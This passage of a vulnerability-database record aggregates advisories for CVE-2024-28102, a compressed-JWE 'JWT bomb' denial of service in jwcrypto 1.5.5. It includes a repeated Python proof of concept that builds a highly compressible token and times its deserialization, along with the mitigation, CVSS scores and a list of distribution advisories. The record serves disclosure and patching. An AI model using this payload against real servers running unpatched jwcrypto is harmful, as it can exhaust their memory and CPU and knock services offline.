Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty='RSA', size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = '{\"u\": \"' + \"u\" * 400000000 + '\", \"uu\":\"' + \"u\" * 400000000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = '{\"u\": \"' + \"u\" * 400000 + '\", \"uu\":\"' + \"u\" * 400000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n\u003cimg width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\"\u003e\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)","status":"published","published":"2024-03-06T20:00:56Z","modified":"2025-12-22T18:42:22Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:39:14.093341Z"}],"nvd":[{"id":"CVE-2024-28102","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-21T02:52:23.513Z","modified":"2026-06-17T07:20:58.403Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:09:43.052376Z"}],"osv":[{"id":"CVE-2024-28102","title":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-06T21:09:58.064Z","modified":"2026-10-28T02:30:33.712420014Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:44:39.569658Z"},{"id":"DEBIAN-CVE-2024-28102","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-21T02:52:23.513Z","modified":"2026-11-02T12:01:30.200901394Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:45:42.530184Z"},{"id":"GHSA-j857-7rvv-vj97","title":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function","description":"## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty='RSA', size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = '{\"u\": \"' + \"u\" * 400000000 + '\", \"uu\":\"' + \"u\" * 400000000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = '{\"u\": \"' + \"u\" * 400000 + '\", \"uu\":\"' + \"u\" * 400000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n\u003cimg width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\"\u003e\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)","status":"published","published":"2024-03-06T20:00:56Z","modified":"2026-09-10T03:50:10.546310463Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"OESA-2024-2443","title":"python-jwcrypto security update","description":"Implements JWK, JWS, JWE specifications with python-cryptography\r\n\r\nSecurity Fix(es):\r\n\r\nVUL-0: CVE-2022-3102: python-jwcrypto: jwcrypto token substitution can lead to authentication bypass(CVE-2022-3102)\r\n\r\nJWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)","status":"published","published":"2024-11-22T11:07:55Z","modified":"2026-08-18T01:18:40.704848893Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:42.253598Z"},{"id":"OESA-2024-2444","title":"python-jwcrypto security update","description":"Implements JWK, JWS, JWE specifications with python-cryptography\r\n\r\nSecurity Fix(es):\r\n\r\nJWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)","status":"published","published":"2024-11-22T11:07:55Z","modified":"2026-08-18T01:18:41.559568998Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:42.253598Z"},{"id":"OESA-2025-1163","title":"python-jwcrypto security update","description":"Implements JWK, JWS, JWE specifications with python-cryptography\r\n\r\nSecurity Fix(es):\n\nJWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)","status":"published","published":"2025-02-21T11:08:15Z","modified":"2026-08-18T01:18:47.510784318Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:42.253598Z"},{"id":"PYSEC-2026-1484","title":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function","description":"## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty='RSA', size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = '{\"u\": \"' + \"u\" * 400000000 + '\", \"uu\":\"' + \"u\" * 400000000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = '{\"u\": \"' + \"u\" * 400000 + '\", \"uu\":\"' + \"u\" * 400000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n\u003cimg width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\"\u003e\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)","status":"published","published":"2026-07-07T11:45:34.36798Z","modified":"2026-07-07T17:47:27.855878776Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"RHSA-2024:2559","title":"Red Hat Security Advisory: python-jwcrypto security update","status":"published","published":"2024-09-16T18:55:00Z","modified":"2026-06-03T10:07:10Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:13.30378Z"},{"id":"RHSA-2024:3267","title":"Red Hat Security Advisory: idm:DL1 and idm:client security update","status":"published","published":"2024-10-10T15:03:27Z","modified":"2026-06-03T10:07:37Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:13.30378Z"},{"id":"RHSA-2024:4522","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.4 Product Security and Bug Fix Update","status":"published","published":"2024-09-30T15:20:29Z","modified":"2026-08-13T10:05:58Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:14.03234Z"},{"id":"UBUNTU-CVE-2024-28102","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-21T02:52:00Z","modified":"2026-10-17T12:56:43.909108457Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T16:54:48.333535Z"},{"id":"ALSA-2024:2559","title":"Moderate: python-jwcrypto security update","description":"The python-jwcrypto package provides Python implementations of the JSON Web Key (JWK), JSON Web Signature (JWS), JSON Web Encryption (JWE), and JSON Web Token (JWT) JOSE (JSON Object Signing and Encryption) standards.\n\nSecurity Fix(es):\n\n* python-jwcrypto: malicious JWE token can cause denial of service (CVE-2024-28102)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2024-04-30T00:00:00Z","modified":"2026-10-29T11:31:43.702669737Z","updated_at":"2026-11-02T15:27:52.553233Z"},{"id":"AZL-43360","title":"CVE-2024-28102 affecting package python-jwcrypto 0.6.0-9","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-21T02:52:23Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:20.107976Z"},{"id":"AZL-43366","title":"CVE-2024-28102 affecting package python-jwcrypto 0.6.0-9","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-21T02:52:23Z","modified":"2026-04-21T04:30:58.697434Z","updated_at":"2026-11-02T15:28:05.284713Z"},{"id":"DLA-3883-1","title":"python-jwcrypto - security update","status":"published","published":"2024-09-09T00:00:00Z","modified":"2026-03-09T01:20:11.013593Z","updated_at":"2026-11-02T15:46:12.203458Z"},{"id":"openSUSE-SU-2024:13798-1","title":"python310-jwcrypto-1.5.6-2.1 on GA media","description":"These are all security issues fixed in the python310-jwcrypto-1.5.6-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T03:48:35.902948Z","updated_at":"2026-11-02T16:58:36.327643Z"},{"id":"openSUSE-SU-2026:11712-1","title":"python313-jwcrypto-1.6.0-1.1 on GA media","description":"These are all security issues fixed in the python313-jwcrypto-1.6.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-07T00:00:00Z","modified":"2026-09-08T09:00:05.298753442Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"RLSA-2024:3267","title":"Moderate: idm:DL1 and idm:client security update","description":"Rocky Enterprise Software Foundation Identity Management (IdM) is a centralized authentication, identity management, and authorization solution for both traditional and cloud-based enterprise environments. \n\nSecurity Fix(es):\n\n* JWCrypto: denail of service  Via specifically crafted JWE (CVE-2023-6681)\n\n* python-jwcrypto: malicious JWE token can cause denial of service (CVE-2024-28102)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2024-06-14T13:59:30.118978Z","modified":"2026-02-05T13:45:16.809057Z","updated_at":"2026-11-02T15:53:24.63379Z"},{"id":"ROOT-APP-PYPI-CVE-2024-28102","title":"CVE-2024-28102 in rootio-jwcrypto - Patched by Root","description":"Root has patched CVE-2024-28102 in the rootio-jwcrypto package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-07-10T13:42:52Z","modified":"2026-07-10T19:33:48.732247091Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}